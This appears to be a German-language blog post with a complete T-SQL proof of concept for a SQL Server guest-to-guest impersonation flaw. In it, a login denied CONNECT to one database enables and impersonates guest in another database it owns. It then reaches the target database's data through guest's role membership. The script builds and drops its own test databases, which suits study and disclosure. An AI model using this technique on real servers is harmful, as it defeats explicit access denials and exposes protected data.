Sicherheitsproblem: Gast-Gast-Identitätswechsel

–Login:
CREATE LOGIN Dev0
WITH PASSWORD = ‚Pa$$w0rd‘
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

–Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    — and only guest

exec sp_addrolemember ‚db_datareader‘, ‚guest‘    — — nur um auf die Tatsache hinzuweisen, dass diese Gastkontos tatsächlich noch unterschiedlicherer sind

CREATE USER Dev0 FOR LOGIN Dev0    — keine Mitgliedschaften, daher alles verweigert und nicht automatisch mit Gast übereinstimmend

DENY CONNECT TO Dev0    — um SICHER zu gehen!

— DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N’db_owner‘, N’Dev0′
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = ‚Dev0‘

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

use InternalPublicData;    — nicht möglich mit Deny Connect

SELECT * FROM t1    — ohne Deny Connect wird er hier verweigert

execute as user = ‚guest‘;        — er kann dies NICHT auf der Remote DB machen (soweit gut)

— Teil I:

— zurückgehen
USE DevelopmentDB

execute as user = ‚guest‘;        — nicht aktiv

grant connect to guest;    — aber als ein „Dev“ mit exzessiven Berechtigungen kann er tun, was er will

exec sp_addrolemember ‚db_datawriter‘, ‚guest‘    — nur damit man die Gastkonten leichter unterscheiden kann

execute as user = ‚guest‘;        — jetzt sind wir dabei

— Wer und wo bin ich
SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

select * from sys.user_token;    — jetzt wurde er wirklich Gast in der DevelopmentDB

— Ende von Teil I

— Teil II: Gast verwenden, um als Gast auszuführen

USE InternalPublicData;        — wir haben uns als Gast verbunden – kein Deny für Dev0 zutreffend!!

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — er wurde Gast in der Remote-DB

SELECT * FROM dbo.t1        — Berechtigungen auf Nutzer(Gast-)Ebene funktionieren bereits!

SELECT * FROM dbo.t2        — funktioniert nicht, da Berechtigung für Rolle nicht zutreffend

— ABER: explizit zu InternalPublicData Gast wechseln
execute as user = ‚guest‘;        — JETZT kann „Dev0“ es in der Ziel-DB machen

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — er wurde Gast mit Gruppenmitgliedschaft in der Ziel-DB

SELECT * FROM dbo.t2            — kann jetzt auch Daten durch Rollenmitgliedschaft lesen

— Ende von Teil II: Gast verwenden, um als Gast auszuführen
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0